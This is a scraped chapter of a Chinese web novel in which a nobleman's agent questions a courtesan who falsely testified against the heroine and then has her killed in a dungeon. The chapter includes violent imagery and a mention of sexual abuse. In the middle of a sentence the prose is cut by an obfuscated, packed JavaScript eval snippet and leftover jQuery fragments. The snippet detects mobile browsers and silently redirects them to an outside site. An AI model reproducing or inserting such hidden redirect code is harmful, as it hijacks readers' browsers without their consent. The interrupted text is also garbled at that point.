默认冷灰
24号文字
方正启体

182. 她说

作者:朝朝颂安本书字数:K更新时间:
    温若寒。


    那是温家大小姐的名讳。


    倘若没有钱有富,她应先是温若寒,而后是温家的大小姐,最后才是某某人的妻。


    可就是这样一个微不足道的人,却把两个女人的命都毁了。


    却说那头。


    湘红自打出了衙门,一转弯儿,猛地被人从后劈晕,再睁眼,眼前一片漆黑。


    “主子。”


    身旁是低沉微哑的女声,湘红想要呼救,可嘴里早已被不知什么布给整个塞满。


    别说出声,她连呼吸都十分困难。


    湘红整个脸憋的通红,良久,才有一只手大发善心地将她口中那物什整个拔出来。


    “湘红……”


    她的名字被一个男人放在唇齿间研磨。


    湘红听见自己讨好的声音在止不住地发抖:“这位爷。”她声音谄媚柔软,是花楼里那些恩客们最喜欢听的调调娇嗔道,“不知湘红是哪里惹您不快活,竟让爷如此待我,真是一点都不怜香惜玉……”


    这本该是句让人听了柔肠百转的语句,可因为她在发抖,音调断断续续破碎得不成样子,反倒叫她更显得不解风情。


    林家地牢内,沈忘尘摩挲着青花瓷茶盏盖儿,闭唇不语。


    四处都是水滴落地的声响,静得湘红除了自己急促的呼吸声什么都听不到。


    在这样长久的寂静下,哪怕是一个壮汉都难以忍受,更何况是混惯风月场的湘红。


    湘红濡湿了下干涸的嘴唇,狠狠咽了口唾沫,小心翼翼地问:“爷,您交代的事我都做了,让我说的那些我都也说了,您说会为我赎身的,对吧?”


    见那人仍是不说话,她有些焦急:“您是个大人物,整个淮安,除却林家就只有您最大,您既然答应过湘红,只要办成这事儿就为湘红赎身,您不能光说不做吧?”


    “爷——”


    “滴答”“滴答”“滴答”


    回应湘红娇媚叫声的只有不断下落的水滴。


    湘红甚至怀疑自己是不是被带到了哪个山谷里。


    那些叫她做事的都是淮安鼎鼎的大人物,杀她,岂不是还跟按死一只蝼蚁一样简单?


    湘红听人说过,曾经花楼里有姑娘仗着自己揣了富贵人家的崽子,就跑去求那位有钱有权的恩客怜惜,就算不给她一个名分,能将她赎出花楼也行啊。


    那位恩客确实也为她赎身了。


    只是可惜那位傻姐姐还做着能平安生活的美梦,可没过几天,就被人发现埋尸在城外一座荒山上。


    据说那尸体找到的时候,身上的皮全都不见了,倘若不是官府在旁发现她平日里脚踝上总带着的金铃铛,恐怕那具无皮女尸到现在还找不着身份。


    后来呢?


    湘红幼时还是胆大,便缠着教她技艺的妓女讨问。


    “还能有什么后来?”那妓女长长叹了口气,“咱们是做皮肉生意的,命比狗还贱,就算是惨死又有谁能帮咱们翻案?更何况……”


    说到这儿,那姐姐不说了。


    湘红知道的,有钱人家有一万种办法能将事情掩下,而她们这些花楼里的姑娘,这辈子却只能有一个下场。


    湘红不知道自己是否也会被人剥皮藏尸。


    从脊椎下刀,宛若蝙蝠展翅。


    刀锋在皮肤与血肉中游走,一点点凌迟,一点点撕开。


    然后,不会断气。


    至少被剥离皮肉的时候她不会断气。


    她只能挨着。


    她只能捱着!


    “爷,您不能这么做啊,您不能这样对湘红啊!您不是说过事情一成,您就会为湘红赎身吗?您不说会放湘红一条生路吗?您不能骗湘红啊,您不能言而无信啊!”


    湘红的声音陡然拔高,在空荡的地牢里撞出刺耳的回响。


    她猛地挣动起身,却被芍药一把按回椅子,不得挣扎而出。


    “爷,”湘红尖声厉叫,再不是花楼里那副婉转腔调,“您要过河拆桥是不是?你想要我死是不是?这下子湘红是把林家给得罪个全了,没有您护着,湘红就只有死路一条啊!爷!爷!!爷!!!”


    “老实点!”微哑的女声里夹杂着一丝不耐烦。


    知道自己死局已定,湘红突然发起疯似得低声暗笑,那笑声越来越大、越来越大,几乎要成为一把淬着毒的刀子,恨不能将对面人凌迟处死,“赵德全你个狗娘养的!你说只要我指证白栖枝,就给我赎身!还他妈的是什么淮安第二富商,老娘看你就是个屁,你连林家的一个指头都比不上!你就是个屁!赵德全!你个狗娘养的,老娘做鬼也不会放过你!唔唔唔——”


    茶盏被塞到口中,湘红来不及挣扎就被灌了一嘴的茶。


    她来不及吐出,温柔的茶水就顺着唇舌一股脑儿滑进喉咙里。


    “赵德全你——”


    “好了湘红姑娘,喝点茶水,消消气。”


    温柔温润的男声传到耳畔时,湘红猛地一愣,随后立即反应过来,气急败坏道:“你诈我?!”她问,“你不是赵德全身边的那个人,你是谁?”


    沈忘尘:“向红姑娘自然不需要知道我是神,您只要知道,白老板是因你入狱就好。”


    “你是……小白老板的人?”湘红语句迟钝,“不对!我凭什么信你?”


    沈忘尘:“那你又凭什么问我是谁?”


    湘红一噎。


    是了,他们这种大人物做这种脏事都不会自报家门的,她就算问,也未必能得个准话。


    听语调,面前人心情尚好,应该没有杀她的打算。


    湘红努力使自己冷静下来,可发抖的声音还是出卖了她:“你想干什么?”


    沈忘尘却并不答她的话,只兀自对她说道:“如今你害白老板入狱,白老板心善自然不会与你计较,可,湘红姑娘,你当真以为赵德全留你一条活路?”


    湘红呼吸一窒。


    她当初为了一时承诺没有细思,可如今想来,历来替人做脏事的哪还能留全尸?


    现在她既得罪了白栖枝背后的林家,又没了赵德全的庇护,整个淮安还能有谁来保她?


    “恩公!”意识到面前人是来点醒自己的,湘红语调骤然柔软了下来。若不是此时被捆着,她恐怕就要匍匐到沈忘尘脚边,像只猫儿一样讨好地用脑袋蹭他,“您是来帮湘红的是不是?您帮湘红出出主意,湘红这下可该如何是好,恩公,只要您能保湘红的命,日后湘红怎么伺候您都成啊,恩公……”


    她想,这世上哪有一个男人经得住女人撒娇的?


    至少在花楼内,只要她这样一撒娇,钱有富一准儿就要爬到她的床上。


    此刻湘红倒是怀念起钱有富了。


    至少钱有富活着的时候,她性命无虞,虽然平时挨打挨骂还要被他用烛台塞下面,可她到底还是个有命能活的人。


    可如今钱有富一死,能为她遮风挡雨的人扑簌簌就到了,唯独她这只柔弱不能自理的小百灵鸟、小金丝雀在这世上踽踽独行。


    她可真是自作孽、不可活!


    想到这儿,湘红肠子都悔青了,忍不住在心里暗自咒骂起白栖枝来。


    “我保你的命?”沈忘尘含笑道,“我可保不了你的命。”


    未等湘红破口大骂,他又道:“可白老板


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990565|157766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能保你,她这个人啊,最是心软,只要你朝她服服软、撒撒娇、诉诉苦,她是必定要保你的。”


    湘红此刻又有些后悔刚才在心里问候白栖枝十八辈祖宗了。


    可不等她开口,那人又道:“不过她这个人啊,很有趣,你跟她,她要么将你收入麾下,在香玉坊,亦或是云青阁给你个小差事做做;要么,她把你捆在身边,要你做她的侍女丫鬟,叫你这辈子都离不开她身边——你没有别的路可选。”


    湘红想,这两样倒也不错。


    不说别的,光是能让她活着她就已经很满足了,更别说还能在林家做工零工钱。


    要知道,在林家,就算是为奴为婢也比旁人高一等,这样的美差入手,她又有什么好拒绝的?


    这样一想,湘红也顾不得沈忘尘这话里带了些异样的腔调。


    她的嘴角变得谄媚起来,声音甜腻,乖巧地笑道:“爷,别说让我在小白老板身边为奴为婢,只要小白老板喜欢,就算她在我脖子上栓个链子让我给她做狗都成啊!”


    花楼里的姑娘平生用惯了这种姿态腔调,哪怕是求人求饶,也总是避不开地带了股“隔江犹唱后庭花”的意味在。


    更何况她说的这些,可比钱有富对她做的还要轻上千百倍,所以当这句话脱口而出时,她也没觉得有多淫/荡。


    饶是镇定平静如沈忘尘,听这话也忍不住蹙起眉头。


    反观芍药,她只是在面无表情地听着,甚至没有多看芍药一眼,一直如偃偶般将视线落在沈忘尘脚边,一副随时待命的模样。


    暗卫是没有求生欲的。


    他们就是主子身边的一条狗,主子让龇牙就龇牙,主子让亮爪就亮爪,主子让死,他们自然也不会多问一个字就去死。


    沈忘尘原本不觉得什么,可如今两人一对比,倒显得芍药呆板没生气起来。


    耳边还回荡着湘红的谄媚的求饶。


    沈忘尘将视线从芍药冰冷没表情的脸上挪到湘红脸上。


    这一对比,湘红可就鲜活多了。


    她就像普通人一样贪生怕死,一样利欲熏心。


    这样的人是做不得什么角色的。


    他们就该是话本子中那些主角脚下微不足道的蝼蚁,甚至他们的性命都是不被人所期待,只要见到他们的名字,那些看客就会匆匆翻走略过。


    他们心志不坚、他们志向不远、他们命数轻贱。


    “所以啊……”


    所以啊,他们没有被人怜悯的理由。


    沈忘尘开口,颤抖的声音不知道是在哂笑还是在因无意间窥得一丝“天机”而兴奋,“所以啊,我才不放心让枝枝把你放到身旁啊。”


    倘若这次她为了想活而匍匐在枝枝脚下,那下次,她会不会再次因为想活而将枝枝杀死呢?


    意志不坚,不够压抑泯灭自己人性的人,可是——


    做不成大事的。


    “芍药。”


    轻巧又温润的话语声落下,湘红未等来得及意识发生了什么,就喉间一凉。


    芍药的手法很温柔,湘红还没有感受到疼痛,就已经再也感受不到痛。


    冰冷的尸体瘫软着栽倒在地上,“嗵”地一声闷响随着水滴下坠的脆响在地牢内回荡。


    她说过,她们不是自愿去死的。


    她说过,脏污腐烂的河水里满是她们。


    她说过,她们只是想活着。


    她说过的。


    她真的什么都说过的。


    可是啊……


    她们都忘了,说出来的愿望最不灵了——


    只要愿望被诉诸于口,就什么都不灵了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)